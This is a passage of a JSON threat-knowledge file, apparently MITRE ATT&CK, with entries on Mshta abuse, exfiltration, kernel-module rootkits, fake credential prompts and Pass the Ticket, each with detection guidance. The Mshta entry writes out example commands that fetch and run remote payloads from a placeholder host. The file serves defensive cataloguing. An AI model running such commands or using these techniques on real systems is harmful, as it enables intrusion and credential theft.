Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"}, {"source_name": "Microsoft Security Event 4670", "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.", "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"}, {"source_name": "Microsoft User Modified Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"}, {"source_name": "InsiderThreat ChangeNTLM July 2017", "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"}, {"source_name": "GitHub Mimikatz Issue 92 June 2017", "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", "url": "https://github.com/gentilkiwi/mimikatz/issues/92"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ricardo Dias", "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1170", "url": "https://attack.mitre.org/techniques/T1170"}, {"source_name": "Wikipedia HTML Application", "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", "url": "https://en.wikipedia.org/wiki/HTML_Application"}, {"source_name": "MSDN HTML Applications", "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", "url": "https://msdn.microsoft.com/library/ms536471.aspx"}, {"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}, {"source_name": "Red Canary HTA Abuse Part Deux", "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", "source_name": "FireEye Attacks Leveraging HTA"}, {"description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", "source_name": "Airbus Security Kovter Analysis", "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "source_name": "FireEye FIN7 April 2017"}, {"source_name": "LOLBAS Mshta", "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}], "modified": "2022-01-19T21:19:03.910Z", "name": "Mshta", "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-04-15T00:58:36.287Z", "name": "Exfiltration Over Alternative Protocol", "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["William Cain", "Alfredo Abarca"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "IaaS", "Google Workspace", "Network"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Cloud Storage: Cloud Storage Access", "Network Traffic: Network Traffic Flow", "Command: Command Execution", "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "File: File Access", "Network Traffic: Network Connection Creation"], "x_mitre_network_requirements": false, "type": "attack-pattern", "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "created": "2017-05-31T21:30:44.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1048", "external_id": "T1048"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Wayne Silva, F-Secure Countercept", "Anastasios Pingios", "Jeremy Galloway", "Red Canary", "Eric Kaiser @ideologysec"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", "created": "2020-01-24T17:42:23.339Z", "x_mitre_version": "1.3", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.006", "url": "https://attack.mitre.org/techniques/T1547/006"}, {"source_name": "Apple Developer Configuration Profile", "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf", "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."}, {"source_name": "Apple Kernel Extension Deprecation", "url": "https://developer.apple.com/support/kernel-extensions/", "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020."}, {"source_name": "System and kernel extensions in macOS", "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web", "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022."}, {"source_name": "GitHub Reptile", "url": "https://github.com/f0rb1dd3n/Reptile", "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018."}, {"source_name": "Volatility Phalanx2", "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018."}, {"source_name": "iDefense Rootkit Overview", "url": "http://www.megasecurity.org/papers/Rootkits.pdf", "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."}, {"source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html", "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."}, {"source_name": "CrowdStrike Linux Rootkit", "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017."}, {"source_name": "GitHub Diamorphine", "url": "https://github.com/m0nad/Diamorphine", "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018."}, {"source_name": "Securelist Ventir", "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018."}, {"source_name": "User Approved Kernel Extension Pike\u2019s", "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021."}, {"source_name": "Linux Kernel Module Programming Guide", "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018."}, {"source_name": "Linux Kernel Programming", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."}, {"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}, {"source_name": "Purves Kextpocalypse 2", "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/", "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021."}, {"source_name": "RSAC 2015 San Francisco Patrick Wardle", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018."}, {"source_name": "Synack Secure Kernel Extension Broken", "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018."}, {"source_name": "Wikipedia Loadable Kernel Module", "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux", "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", "modified": "2022-04-20T18:53:39.406Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Kernel Modules and Extensions", "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nOn macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Creation", "File: File Modification", "Kernel: Kernel Module Load", "Process: Process Creation"], "x_mitre_permissions_required": ["root"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T23:39:31.474Z", "name": "GUI Input Capture", "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Matthew Molyett, @s1air, Cisco Talos"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Script: Script Execution", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "created": "2020-02-11T18:58:45.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056/002", "external_id": "T1056.002"}, {"source_name": "LogRhythm Do You Trust Oct 2014", "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"}, {"source_name": "Spoofing credential dialogs", "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.", "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"}, {"source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}, {"source_name": "Enigma Phishing for Credentials Jan 2015", "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"}, {"source_name": "OSX Malware Exploits MacKeeper", "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Becwar", "Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", "type": "attack-pattern", "created": "2017-05-31T21:31:11.623Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1097", "url": "https://attack.mitre.org/techniques/T1097"}, {"external_id": "CAPEC-645", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/645.html"}, {"url": "https://adsecurity.org/?p=556", "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", "source_name": "ADSecurity AD Kerberos Attacks"}, {"url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", "source_name": "GentilKiwi Pass the Ticket"}, {"url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", "source_name": "Campbell 2014"}, {"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "source_name": "CERT-EU Golden Ticket Protection"}], "modified": "2020-01-30T19:57:16.037Z", "name": "Pass the Ticket", "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_system_requirements": ["Requires Microsoft Windows as a target system and Kerberos authentication enabled."], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["SOCCRATES", "Mnemonic AS"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "type": "attack-pattern", "created": "2020-10-01T02:08:33.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.002", "url": "https://attack.mitre.org/techniques/T1588/002"}, {"source_name": "Recorded Future Beacon 2019", "url": "https://www.recordedfuture.com/identifying-cobalt-strike-servers/", "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020."}, {"source_name": "Analyzing CS Dec 2020", "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}], "modified": "2021-10-17T16:17:55.499Z", "name": "Tool", "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Malware Repository: Malware Metadata"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["William Cain"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "type": "attack-pattern", "created": "2020-03-11T13:50:11.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1052.001", "url": "https://attack.mitre.org/techniques/T1052/001"}], "modified": "2021-10-15T22:48:29.490Z", "name": "Exfiltration over USB", "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Drive: Drive Creation", "File: File Access", "Command: Command Execution"], "x_mitre_system_requirements": ["Presence of physical medium or device"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", "type": "attack-pattern", "created": "2022-02-25T15:27:44.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1574.013", "url": "https://attack.mitre.org/techniques/T1574/013"}, {"source_name": "Lazarus APT January 2022", "url": 